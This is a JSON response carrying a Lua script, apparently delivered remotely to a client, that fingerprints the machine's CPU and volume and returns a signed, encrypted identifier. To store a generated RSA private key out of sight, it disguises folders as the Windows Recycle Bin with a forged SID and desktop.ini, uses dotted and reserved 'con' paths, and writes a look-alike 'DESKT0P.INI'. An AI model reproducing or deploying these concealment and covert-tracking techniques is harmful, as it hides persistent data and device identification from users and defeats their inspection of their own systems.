{"data":{"salt":"681c415541406d86","trace":"-- unknow: 0\n-- macosx: 1\n-- windows: 2\n-- linux: 3\n\nkey = {\n -- E = \"010001\",\n -- N = \"83689F829A9E5D3B8C5DA65935960BD8AEB967A28A65AF918649F034943B862040DB95B71EC055E850B3D1D83E0366BF65B1835CB032BBCFF30FBD41FE46E65501F53C1B42286A1002C0AC6173BF9152D926095D27880813845B607DE59B59E5904D4297E70C496ADD954D55D2B1566DE6F13585DBE6A5C7C2D66BBB53ECBEFF\",\n E = \"010001\",\n N = \"83689F829A9E5D3B8C5DA65935960BD8AEB967A28A65AF918649F034943B862040DB95B71EC055E850B3D1D83E0366BF65B1835CB032BBCFF30FBD41FE46E65501F53C1B42286A1002C0AC6173BF9152D926095D27880813845B607DE59B59E5904D4297E70C496ADD954D55D2B1566DE6F13585DBE6A5C7C2D66BBB53ECBEFF\",\n}\n\nts_sign = \"681c415578717\"\n\nfunction enc_str(msg)\n local mix_key = \"o2KLneUtmDf8uHYS\"\n msg = algorithm.z(algorithm.mix(msg, mix_key), 9)\n msg = algorithm.base64encode(msg)\n return msg\nend\n\nfunction failure(msg)\n if (not msg) then\n msg = \"ERROR\"\n end\n return enc_str(msg)\nend\n\nplat = sys.os()\nroot = sys.root()\nseparator = \"\/\"\n\n-- comment this\n--plat = 2\n--root = \"C:\\\\windows\\\\system32\"\n\nif (plat == 2) then\n separator = \"\\\\\"\n root = root:sub(1, root:find(separator))\n files = sys.ls(root .. \"*\")\n if (not files) then\n return failure(\"ls err\")\n end\n\n dir = nil\n for _, v in pairs(files) do\n hash = algorithm.sha(v:lower())\n if (hash == \"b612316f1dc7ce2ec894310132326d682913745a\" -- RECYCLER\n or hash == \"69f8bf86e59cfb173ba457542ec11075f86a4dee\" -- $RECYCLE.BIN\n or hash == \"44f56777dafb79b0b14f7e39e643b23847f1d8a3\") then -- Recycled\n dir = v\n break\n end\n end\n\n if (not dir) then\n dir = \"RECYCLER\"\n sys.md(root .. dir)\n sys.md(root .. dir .. separator .. \"S-1-5-21-2025429265-1935655697-1060284298-500\")\n sys.write(root .. dir .. separator .. \"desktop.ini\", \"[.ShellClassInfo]\\r\\nCLSID={645FF040-5081-101B-9F08-00AA002F954E}\\r\\n\")\n end\n dir = root .. dir .. separator\n\n files = sys.ls(dir .. \"*\")\n sdir = nil\n for _, v in pairs(files) do\n if (v ~= \".\" and v ~= \"..\") then\n sdir = v\n break\n end\n end\n if (not sdir) then\n return failure(\"not sdir\")\n end\n\n dir = dir .. sdir .. separator\nelse\n dir = os.getenv(\"HOME\") .. \"\/.eagle\/\"\nend\n\ncpu = cpu.info()\nvolume = sys.volume()\n\nhardinfo = cpu.brand .. separator .. cpu.id1 .. separator .. cpu.id2 .. separator\n.. cpu.id3 .. separator .. cpu.id4 .. separator .. volume\n\nhardsha = algorithm.sha(hardinfo)\nsave_key = hardsha .. algorithm.md5(hardinfo)\n\n-- \"c:\\\\RECYCLER\\\\S-1-5-21-2025429265-1935655697-1060284298-500\\\\.eagle...\\\\.eagle..\\\\con\\\\desktop.ini\"\nsubdir = hardsha:sub(10, 30)\nsubdir = subdir:upper()\n\nkey_file = dir .. \".\" .. subdir .. \"...\" .. separator .. \".\" .. subdir .. \"..\" .. separator .. \"con\" .. separator .. \"desktop.ini\"\nkey_file0 = key_file\nif (plat == 2) then\n key_file0 = os.getenv(\"APPDATA\") .. separator .. \"DESKT0P.INI\"\nend\nkey_file2 = dir .. separator .. \"DESKT0P.INI\"\nkey_file3 = root .. separator .. \"DESKT0P.INI\"\n\nkey_contents = sys.cat(key_file0)\nif (not key_contents) then\n key_contents = sys.cat(key_file)\n if (not key_contents) then\n key_contents = sys.cat(key_file2)\n if (not key_contents) then\n key_contents = sys.cat(key_file3)\n end\n end\nend\n\nif (not key_contents) then\n sys.md(dir)\n sys.md(dir .. \".\" .. subdir .. \"..\" .. separator)\n sys.md(dir .. \".\" .. subdir .. \"...\" .. separator)\n sys.md(dir .. \".\" .. subdir .. \"....\" .. separator)\n sys.md(dir .. \".\" .. subdir .. \"...\" .. separator .. \".\" .. subdir .. \"..\" .. separator)\n sys.md(dir .. \".\" .. subdir .. \"...\" .. separator .. \".\" .. subdir .. \"..\" .. separator .. \"con\" .. separator)\n _, pri = algorithm.butterfly()\n key_contents = pri.DQ .. separator .. pri.D .. separator .. pri.E .. separator .. pri.N .. separator\n .. pri.QP .. separator .. pri.P .. separator .. pri.Q .. separator .. pri.DP\n key_contents = algorithm.base64encode(algorithm.z(algorithm.mix(key_contents, save_key), 9))\n if (not sys.write(key_file0, key_contents)) then\n if (not sys.write(key_file, key_contents)) then\n if (not sys.write(key_file2, key_contents)) then\n sys.write(key_file3, key_contents)\n end\n end\n end\nelse\n key_contents = algorithm.mix(algorithm.unz(algorithm.base64decode(key_contents)), save_key)\n pri = {}\n left = 1\n right = key_contents:find(separator)\n pri.DQ = key_contents:sub(left, right - 1)\n left = right + 1\n right = key_contents:find(separator, left)\n pri.D = key_contents:sub(left, right - 1)\n left = right + 1\n right = key_contents:find(separator, left)\n pri.E = key_contents:sub(left, right - 1)\n left = right + 1\n right = key_contents:find(separator, left)\n pri.N = key_contents:sub(left, right - 1)\n left = right + 1\n right = key_contents:find(separator, left)\n pri.QP = key_contents:sub(left, right - 1)\n left = right + 1\n right = key_contents:find(separator, left)\n pri.P = key_contents:sub(left, right - 1)\n left = right + 1\n right = key_contents:find(separator, left)\n pri.Q = key_contents:sub(left, right - 1)\n left = right + 1\n pri.DP = key_contents:sub(left)\n for k, v in pairs(pri) do\n print(k, v)\n end\nend\n\nseparator = \"\\\\\"\nsign = algorithm.base64encode(algorithm.pretty(ts_sign, pri))\nresult = enc_str(plat .. separator .. pri.E .. separator .. pri.N .. separator .. sign .. separator .. algorithm.pretty(hardinfo, key))\nreturn result\n\n"},"code":0,"remind":false,"version":{"community":false,"config":false,"department":false}}